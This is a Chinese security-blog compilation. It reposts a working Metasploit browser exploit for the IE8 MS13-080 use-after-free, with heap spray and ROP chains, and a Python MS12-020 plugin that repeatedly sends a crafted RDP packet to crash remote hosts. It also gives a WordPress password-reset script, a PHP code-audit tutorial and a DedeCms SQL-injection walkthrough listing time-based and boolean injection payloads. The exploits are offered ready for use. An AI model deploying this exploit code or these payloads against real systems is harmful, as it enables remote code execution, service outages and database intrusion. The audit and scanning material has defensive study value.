MS13-080 exploit 附Poc

说明:此exp在土司论坛看到的,其他各大论坛均未发布,特转载和基友们分享下。

在msf下使用,目前msf还未更新此漏洞exp。

测试通过,WIN7+office2007/2010/java+IE8和WinXP+IE8

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name    => HttpClients::IE,
:ua_minver  => "8.0",
:ua_maxver  => "8.0",
:javascript => true,
:os_name    => OperatingSystems::WINDOWS,
:rank       => NormalRanking
})

def initialize(info={})
super(update_info(info,
'Name'           => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
'Description'    => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
multiple research companies and the vendor until the October patch release.

This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
"onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
If we use a select() function for the CTextArea element, two important things will happen:
a CDisplayPointer object will be created for CTextArea, and it will also trigger another
event called "onselect". The "onselect" event will allow us to setup for the actual event
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange".  During "onpropertychange" event handling, a free of the CDisplayPointer
object can be forced by using an "Unslect" (other approaches also apply), but a reference
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
the CDoc::GetLineInfo call, because it is still trying to use that to update
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
finally occurs due to accessing the freed memory. By controlling this freed memory, it is
possible to achieve arbitrary code execution under the context of the user.
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'Unknown', # Exploit in the wild
'sinn3r'   # Metasploit
],
'References'     =>
[
[ 'CVE', '2013-3897' ],
[ 'OSVDB', '98207' ],
[ 'MSB', 'MS13-080' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
],
'Platform'       => 'win',
'Targets'        =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', {} ],
[ 'IE 8 on Windows 7',      {} ]
],
'Payload'        =>
{
'BadChars'       => "x00",
'PrependEncoder' => "x81xc4x0cxfexffxff" # add esp, -500
},
'DefaultOptions'  =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged'     => false,
# Jsunpack first received a sample to analyze on Sep 12 2013.
# MSFT patched this on Oct 8th.
'DisclosureDate' => "Oct 08 2013",
'DefaultTarget'  => 0))
end

def get_check_html
%Q|<html>
<script>
#{js_os_detect}

function os() {
var detect = window.os_detect.getVersion();
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
return os_string;
}

function dll() {
var checka = 0;
var checkb = 0;
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}

try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}

if ((typeof checka) == "object" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2010_str}";
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2007_str}";
}
return "#{@js_default_str}";
}

window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
}
</script>
</html>
|
end

def junk
rand_text_alpha(4).unpack("V")[0].to_i
end

def get_payload(target_info)
rop_payload = ''
os          = target_info[:os]
dll_used    = ''

case target_info[:dll]
when @js_office_2007_str
dll_used = "Office 2007"

pivot =
[
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
junk,       # ESI due to POPAD
junk,       # EBP due to POPAD
junk,
junk,       # EBX due to POPAD
junk,       # EDX due to POPAD
junk,       # ECX due to POPAD
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
0x51bd81db, # ROP NOP
junk        # Padding for the retn 4 from the stack pivot
].pack("V*")

rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})

when @js_office_2010_str
dll_used = "Office 2010"

pivot =
[
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4
junk,
junk,
junk,
junk,
junk,
0x51BE7E9A, # ROP NOP
junk        # Padding for the retn 4 from the stack pivot
].pack("V*")

rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})

when @js_default_str
if target_info[:os] =~ /windows xp/i
# XP uses msvcrt.dll
dll_used = "msvcrt"

pivot =
[
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret
].pack("V*")

rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
else
# Assuming this is Win 7, and we'll use Java 6 ROP
dll_used = "Java"

pivot =
[
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn
junk        # Padding for the POP ECX
].pack("V*")

rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
end
end

print_status("Target uses #{os} with #{dll_used} DLL")

rop_payload
end

def get_sploit_html(target_info)
os         = target_info[:os]
js_payload = ''

if os =~ /Windows (7|XP) MSIE 8.0/
js_payload = Rex::Text.to_unescape(get_payload(target_info))
else
print_error("Target not supported by this attack.")
return ""
end

%Q|<html>
<head>
<script>
#{js_property_spray}
sprayHeap({shellcode:unescape("#{js_payload}")});

var earth = document;
var data = "";
for (i=0; i<17; i++) {
if (i==7) { data += unescape("%u2020%u2030"); }
else      { data += "u4141u4141"; }
}
data += "u4141";

function butterfly() {
for(i=0; i<20; i++) {
var effect = earth.createElement("div");
effect.className = data;
}
}

function kaiju() {
var godzilla = earth.createElement("textarea");
var minilla = earth.createElement("pre");
earth.body.appendChild(godzilla);
earth.body.appendChild(minilla);
godzilla.appendChild(minilla);

godzilla.onselect=function(e) {
minilla.swapNode(earth.createElement("div"));
}

var battleStation = false;
var war = new Array();
godzilla.onpropertychange=function(e) {
if (battleStation == true) {
for (i=0; i<50; i++) {
war.push(earth.createElement("span"));
}
}

earth.execCommand("Unselect");

if (battleStation == true) {
for (i=0; i < war.length; i++) {
war[i].className = data;
}
}
else {
battleStation = true;
}
}

butterfly();
godzilla.select();
}
</script>
</head>
<body onload='kaiju()'>
</body>
</html>
|
end
def on_request_uri(cli, request)
if request.uri =~ /search?o=(.+)&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
end

html = get_check_html
print_status("Checking out target...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end

def exploit
@js_office_2007_str = Rex::Text.rand_text_alpha(4)
@js_office_2010_str = Rex::Text.rand_text_alpha(5)
@js_default_str     = Rex::Text.rand_text_alpha(6)
super
end

end
=begin

+hpa this for debugging or you might not see a crash at all :-)

0:005> r
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!QIClassID+0x30:
6d6dc123 8b03            mov     eax,dword ptr [ebx]  ds:0023:0777efd4=????????
0:005> u
mshtml!QIClassID+0x30:
6d6dc123 8b03            mov     eax,dword ptr [ebx]
6d6dc125 8365e800        and     dword ptr [ebp-18h],0
6d6dc129 8d4de8          lea     ecx,[ebp-18h]
6d6dc12c 51              push    ecx
6d6dc12d 6870c16d6d      push    offset mshtml!IID_IProxyManager (6d6dc170)
6d6dc132 53              push    ebx
6d6dc133 bf02400080      mov     edi,80004002h
6d6dc138 ff10            call    dword ptr [eax]

=end

 

 

附 微软安全公告: http://technet.microsoft.com/zh-tw/security/bulletin/ms13-080
PoC: http://pan.baidu.com/s/1mpeby
个人感觉PoC上的触发略鸡肋...
两个PoC, 我稍微改了下, 还是算转载吧, 对应CVE-2013-3893和3897, 内含福利, 测试请自备纸巾

ms12020 远程3389蓝屏攻击插件py版本

以下代码 保存为 qingms12020.py

传送门:http://mstoor.duapp.com/view/?pid=16

[code lang="js"]
# -*- coding: cp936 -*-
'''
mst=>plugin=>exploit
ms12_020
'''
from socket import *
class mstplugin:
'''ms12_020'''
infos = [
['插件','ms12_020 远程3389蓝屏Exploit'],
['作者','mst'],
['更新','2013/10/22'],
['网址','http://mstoor.duapp.com/']
]
opts = [
['RHOST','192.168.1.2','REMOTE HOST'],
['RPORT','3389','REMOTE PORT'],
['TIMES','100','SEND BUF TIMES'],
['TIMEOUT','5','SOCK SETTIMEOUT'],
['PAYLOAD','false','NO RETURN PAYLOAD']
]
buf=""
buf+="x03x00x00x13x0exe0x00x00"
buf+="x00x00x00x01x00x08x00x00"
buf+="x00x00x00x03x00x01xd6x02"
buf+="xf0x80x7fx65x82x01x94x04"
buf+="x01x01x04x01x01x01x01xff"
buf+="x30x19x02x04x00x00x00x00"
buf+="x02x04x00x00x00x02x02x04"
buf+="x00x00x00x00x02x04x00x00"
buf+="x00x01x02x04x00x00x00x00"
buf+="x02x04x00x00x00x01x02x02"
buf+="xffxffx02x04x00x00x00x02"
buf+="x30x19x02x04x00x00x00x01"
buf+="x02x04x00x00x00x01x02x04"
buf+="x00x00x00x01x02x04x00x00"
buf+="x00x01x02x04x00x00x00x00"
buf+="x02x04x00x00x00x01x02x02"
buf+="x04x20x02x04x00x00x00x02"
buf+="x30x1cx02x02xffxffx02x02"
buf+="xfcx17x02x02xffxffx02x04"
buf+="x00x00x00x01x02x04x00x00"
buf+="x00x00x02x04x00x00x00x01"
buf+="x02x02xffxffx02x04x00x00"
buf+="x00x02x04x82x01x33x00x05"
buf+="x00x14x7cx00x01x81x2ax00"
buf+="x08x00x10x00x01xc0x00x44"
buf+="x75x63x61x81x1cx01xc0xd8"
buf+="x00x04x00x08x00x80x02xe0"
buf+="x01x01xcax03xaax09x04x00"
buf+="x00xcex0ex00x00x48x00x4f"
buf+="x00x53x00x54x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x04x00x00"
buf+="x00x00x00x00x00x0cx00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x01xcax01x00x00x00x00"
buf+="x00x10x00x07x00x01x00x30"
buf+="x00x30x00x30x00x30x00x30"
buf+="x00x2dx00x30x00x30x00x30"
buf+="x00x2dx00x30x00x30x00x30"
buf+="x00x30x00x30x00x30x00x30"
buf+="x00x2dx00x30x00x30x00x30"
buf+="x00x30x00x30x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x00x00x00"
buf+="x00x00x00x00x00x04xc0x0c"
buf+="x00x0dx00x00x00x00x00x00"
buf+="x00x02xc0x0cx00x1bx00x00"
buf+="x00x00x00x00x00x03xc0x2c"
buf+="x00x03x00x00x00x72x64x70"
buf+="x64x72x00x00x00x00x00x80"
buf+="x80x63x6cx69x70x72x64x72"
buf+="x00x00x00xa0xc0x72x64x70"
buf+="x73x6ex64x00x00x00x00x00"
buf+="xc0x03x00x00x0cx02xf0x80"
buf+="x04x01x00x01x00x03x00x00"
buf+="x08x02xf0x80x28x03x00x00"
buf+="x0cx02xf0x80x38x00x06x03"
buf+="xefx03x00x00x0cx02xf0x80"
buf+="x38x00x06x03xebx03x00x00"
buf+="x0cx02xf0x80x38x00x06x03"
buf+="xecx03x00x00x0cx02xf0x80"
buf+="x38x00x06x03xedx03x00x00"
buf+="x0cx02xf0x80x38x00x06x03"
buf+="xeex03x00x00x0bx06xd0x00"
buf+="x00x12x34x00"
def exploit(self):
'''start exploit'''
color.cprint("[+] Connect to %s .."%RHOST,YELLOW)
for i in range(int(TIMES)):
s=socket(AF_INET,SOCK_STREAM)
s.settimeout(int(TIMEOUT))
try:
s.connect((RHOST,int(RPORT)))
color.cprint("[+] Send %-5s Bytes.."%len(self.buf),GREEN)
s.send(self.buf)
rec=s.recv(100)
color.cprint("[+] Recv %-5s Bytes.."%len(rec),YELLOW)
s.close()
except Exception,e:
color.cprint("[!] Exploit False !CODE:%s"%e,RED)

[/code]

wordpress密码,邮箱忘了,且主机禁用了mail() 函数如何找回密码的解决办法!

wordpress无法发送电子邮件。可能原因:您的主机禁用了 mail() 函数解决办法!

1.WORDPRESS找回密码工具

请将下面代码中数据库信息改为自己的,保存为.php文件,传至空间运行一次即可。密码将改为123321。
程序代码

<?
$mysql_server_name='xxx.xxx.xxx.xxx';
$mysql_username='xxxxx';
$mysql_password='xxxxx';
$mysql_database='xxxxx';
MYSQL_CONNECT($mysql_server_name,$mysql_username,$mysql_password) or DIE("Unable to connect to database");
echo "conn<br>";
@mysql_select_db("$mysql_database") or die("Unable to select database");
echo "table<br>";
$sql="update `wp_users` set user_pass = 'c8837b23ff8aaa8a2dde915473ce0991' where id=1" ;
$result=mysql_query($sql);
echo "ok";
?>
记得登陆后修改密码!
查询某用户信息,可加入如下代码
程序代码$sql="select user_login,user_pass from `wp_users` where id=1" ;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row["user_login"];
echo "<br>";
echo $row["user_pass"];
echo "<br>";

2登陆phpmyadmin,打开安装Wordpress的数据库,找到最底下的wp_user表,选择浏览,这时就会看到当前的用户信息(刚安装只有admin和邮箱),点击前面的编辑,在那一长串md5加密的密码处填入“5d41402abc4b2a76b9719d911017c592”,OK,用密码“hello”登陆即可。不要忘记登陆后把密码改掉哦。其实看到邮箱信息以后,只要邮箱是有效的,也可以通过wordpress后台邮件找回密码的功能 来找回 你的密码的。

[转]高级PHP应用程序漏洞审核技术

[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
5.1 变量本身的key
5.2 变量覆盖
5.2.1 遍历初始化变量
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有魔术引号的保护
5.3.3 变量的编码与解码
5.3.4 二次攻击
5.3.5 魔术引号带来的新的安全问题
5.3.6 变量key与魔术引号
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
5.4.2 变量函数与双引号
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
5.5.2 PHP函数的其他漏洞
5.5.3 session_destroy()删除文件漏洞
5.5.4 随机函数
5.6 特殊字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录

一、前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们,:)

二、传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

三、PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9

php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

php6
目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc。(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

四、其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

五、扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

–code————————————————————————-

1 <?php
2 //key.php?aaaaaaa=1&bbb=2
3 //print_R($_GET);
4 foreach ($_GET AS $key => $value)
5 {
6 print $key." ";
7 }
8 ?>

——————————————————————————-

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

–code————————————————————————-

1 key.php?<script>alert(1);</script>=1&bbb=2

——————————————————————————-

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

+++++++++++++++++++++++++
漏洞审计策略
————————-
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++

5.2 变量覆盖(variable-overwrite)

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

5.2.1 遍历初始化变量

请看如下代码:

–code————————————————————————-

1 <?php
2 //var.php?a=fuck
3 $a=hi;
4 foreach($_GET as $key => $value) {
5 $$key = $value;
6 }
7 print $a;
8 ?>

——————————————————————————-

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分
的代码:

–code————————————————————————-

1 $chs = ;
2 if($_POST && $charset != utf-8) {
3 $chs = new Chinese(UTF-8, $charset);
4 foreach($_POST as $key => $value) {
5 $$key = $chs->Convert($value);
6 }
7 unset($chs);

——————————————————————————-

+++++++++++++++++++++++++
漏洞审计策略
————————-
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++

5.2.2 parse_str()变量覆盖漏洞(CVE-2007-3205)、mb_parse_str()

–code————

文章剩下内容请看:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

[转]关于PHP代码审计和漏洞挖掘的一点思考

这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出。

PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂,今天我想主要谈谈关于PHP代码审计和漏洞挖掘的一些思路和理解。

PHP的漏洞发掘,其实就是web的渗透测试,和客户端的fuzzing测试一样,web的渗透测试也可以使用类似的技术,web fuzzing,即基于web的动态扫描。

这类软件国内外有很多,如WVS,Lan Guard,SSS等。这类扫描器的共同特点都是基于蜘蛛引擎对我们给出的URL地址进行遍历搜索,对得到的URL和参数进行记录,然后使用本地或者web端的script脚本攻击语句进行攻击测试。

如:

WVS使用本地的脚本攻击数据库对这些参数进行交叉替换和填充,构造出新的URL,然后用GET或者POST的方式向服务器发出请求,并对返回的结果进行正则判断。如是否出现:” You have an error in your SQL syntax”等字样。如果出现,则记录下来,说明这个脚本页面”可能”存在漏洞。

1

 

WVS把攻击分成了很多模块:

1 1. Blind_SQL_Injection
2 2. AcuSensor
3 3. CSRF
4 4. Directory_And_File_Check
5 5. File_Upload
6 6. GHDB(Google黑客数据库)
7 7. Sql_Injection
8 8. Weak_Password
9 9. XSS

每种攻击测试方式都对应着一类scripts,里面包含了攻击语句。

用WVS扫描完之后,如果能发现一些sql注入点的提示,这个时候可以先用sqlmap进行注入尝试,进一步判断注入点的情况。

(小编插句话:WVS查找的漏洞提示分两种,一种是启发式测试,就是作者说的“可能”。另外一种是带(verify)字样的,如果看到这个字样就恭喜你了,这是一个被证实的漏洞。小编就曾经利用这个方法发掘过漏洞,效果不错。另外作者说的使用sqlmap进行测试,小编这里不太推荐。对于漏洞挖掘来说,最好使用手工注入的方式来测试漏洞是否存在,毕竟现在只是挖掘漏洞,还不是在利用漏洞。我相信很多人都遇到过手工能测试成功,但是用sqlmap测试不出来的时候。)

如果这两步都不能成功,说明基于fuzz的动态扫描不能继续下去了,这个时候,我们应该想办法进行静态的代码审计,从源代码的角度分析和挖掘漏洞的成因和利用方式。这块可以使用RIPS这样的软件,RIPS是一款专门用来进行静态PHP代码审计的工具,能够帮助我们定位到可能存在漏洞的代码区域。

2

RIPS对代码进行静态漏洞扫描的基本思想有两条:

1.       对容易产生漏洞的函数进行跟踪(例如:mysql_query())

RIPS认为,所有的注入漏洞最终都要经过一些特定的数据库操作函数,mysql_query()或程序自定义的类函数,这些函数是产生漏洞的导火索,只要对这些函数的控制流和参数流进行回溯扫描,就可以发现大部分的代码漏洞。

2.       对产生注入漏洞的源头即用户传输过来的数据流进行跟踪($_GET,$_POST,$_COOKIE)

“用户输入的一切数据都有害”,大部分的注入漏洞,包括二次注入,究其原因都是因为对用户的输入数据没有做好过滤,RIPS对这些敏感数据进行跟踪,并判断其在进入敏感函数(mysql_query())之前有没有对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。

动态扫描加上静态定位,最终使我们能更容易的发现一些漏洞并及时使其得到修补。

接下来,我们来针对一个已知的漏洞进行一次分析。

DedeCms V5 orderby参数注射漏洞

SSV-ID3824

SSV-AppDir织梦

URLhttp://sebug.net/vuldb/ssvid-3824

1.       动态扫描

架设好服务器和网站后,我们使用WVS对网站的根目录进行扫描,因为我们现在是黑盒测试,所以直接从网站根目录开始扫描。

3

 

(91ri.org:图片中显示的就是带verify字样的,代表存在漏洞了,这时候我们只需要使用WVS自带的HTTP EDITOR来测试语句即可,重点测试应该在不带verify字样的可能注入点。)

等待一段时间后,扫描结果出来了,得到一些疑似SQL注入的URL。这里研究一下WVS的注入测试原理是什么,通过查看apache的access.log。我们发现了一下请求(无关部分已经删除)。

01 id=-1&page=1
02 id=-1 or 1*71=71&page=1
03 id=-1 or 71=0&page=1
04 id=-1' or 5=5 or '39'='39&page=1
05 id=-1' or '39'='0&page=1
06 id=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1
07 id=com_virtuemart' and sleep(2.09)='&page=1
08 id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1
09 id=com_virtuemart'=sleep(2.09)='&page=1
10 id=com_virtuemart"=sleep(2.09)="&page=1
11 id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1
12 id=com_virtuemart and sleep(2.09) &page=1
13 id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1
14 id=com_virtuemart';select pg_sleep(2.09); -- &page=1
15 id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1
16 id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1
17 id=com_virtuemart&page=-1 or 1*22=22
18 id=com_virtuemart&page=-1 or 22=0
19 id=com_virtuemart&page=-1' or 5=5 or '56'='56
20 id=com_virtuemart&page=-1' or '56'='0
21 id=com_virtuemart&page=-1" or 5=5 or "39"="39
22 id=com_virtuemart&page=-1" or "39"="0
23 id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
24 id=com_virtuemart&page=1 and sleep(2)
25 id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 --
26 id=com_virtuemart&page=1' and sleep(2)='
27 id=com_virtuemart&page=1' and sleep(0)='
28 id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 --
29 id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 --
30 id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 --
31 id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 -- 
32 id=com_virtuemart&page=1'=sleep(2)='
33 id=com_virtuemart&page=1"=sleep(2)="
34 id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'
35 id=com_virtuemart&page=1;select pg_sleep(2); --
36 id=com_virtuemart&page=1';select pg_sleep(2); --
37 id=com_virtuemart&page=1; waitfor delay '0:0:2' --
38 id=com_virtuemart&page=1'; waitfor delay '0:0:2' --
39 id=com_virtuemart&page=1"; waitfor delay '0:0:2' --

可以看到,WVS采用的是一种基于时间延迟的盲注入测试技术。

91ri.org:WVS利用了各种注入测试语句,不仅仅包括延时注入,对于显错,bool值盲注都有测试payload,有兴趣的人可以看安装目录下的自带脚本。)

mysql延时使用:《通过BENCHMARK函数延迟爆路径

盲注的利用关键是要找到一个二值逻辑的判断,即需要对不同的输入有不同的返回结果,我们才能借助推理得到一些信息,但是有时候,盲注入得到的结果并不会在UI上显示出来,这样就回导致我们注入失败,但是采用时间延迟的思想就可以很好的避免这个问题,从而能够对不同的程序具有很好的适应性。

(小编插句话:其实延时盲注的成本很高,需要很好的带宽并且需要测试人员有极好的耐心,试想测一个32位的密码,一个延时10S,这是要测试到天荒地老的节奏啊!)

1.       注入点探测

得到WVS的扫描结果后,我们需要对可能存在注入的URL进行注意排查,以确定是否真的存在注入漏洞。

我们选取:

 

这是dedecms的一个留言板的脚本页面:

4

使用sqlmap对疑似注入点进行探测:

5

扫描的结果没有成功,又手工尝试了union selct和order by1,2,3..等注入方式,貌似不能获得盲注入、的效果。

不成功的原因有很多,我自己根据经验总结了几点:

触发实际的sql注入漏洞之前要

1 1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页,没法进入到一些深层次的代码逻辑)
2 2. 获取formhash(防止CSRF的)
3 3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)
4 4. 特殊字符(%cf宽字符)注入等
5 5. 结合POST或COOKIE的变量覆盖的sql注入
6 6. 盲注入sql语句构造的特殊性

(小编插句话:这里其实可以利用WVS中HTTP EDITOR的功能将HTTP数据包复制出来,使用sqlmap -r 选项直接测试post的数据包,再将–level 设置成2来测试COOKIE变量,另外测试数据是可以通过sqlmap的设置进行自动编码的,这样就免除了上面说到的几种情况。)

这些先验条件有时候就会称为漏洞触发和利用的关键。

这个时候用自动化工具进行测试的工作基本做完了,我们接下来要使用RIPS来对源代码进行白盒分析,因为目标系统是开源的cms系统,我们可以很容易的从网上下载到全部源代码。

使用RIPS对cms的整站源代码进行扫描

6

RIPS扫描出了很多文件,有些是因为交叉引用,有些是真正存在漏洞的代码的。

我们来到:

1 /member/guestbook_admin.php

 

1 //重载列表
2 if($dopost=='getlist'){
3          PrintAjaxHead();
4          GetList($dsql,$pageno,$pagesize,$orderby);
5          $dsql->Close();
6          exit();
7 .........

 

01 //获得特定的关键字列表
02 //---------------------------------
03 function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
04          global $cfg_phpurl,$cfg_ml;
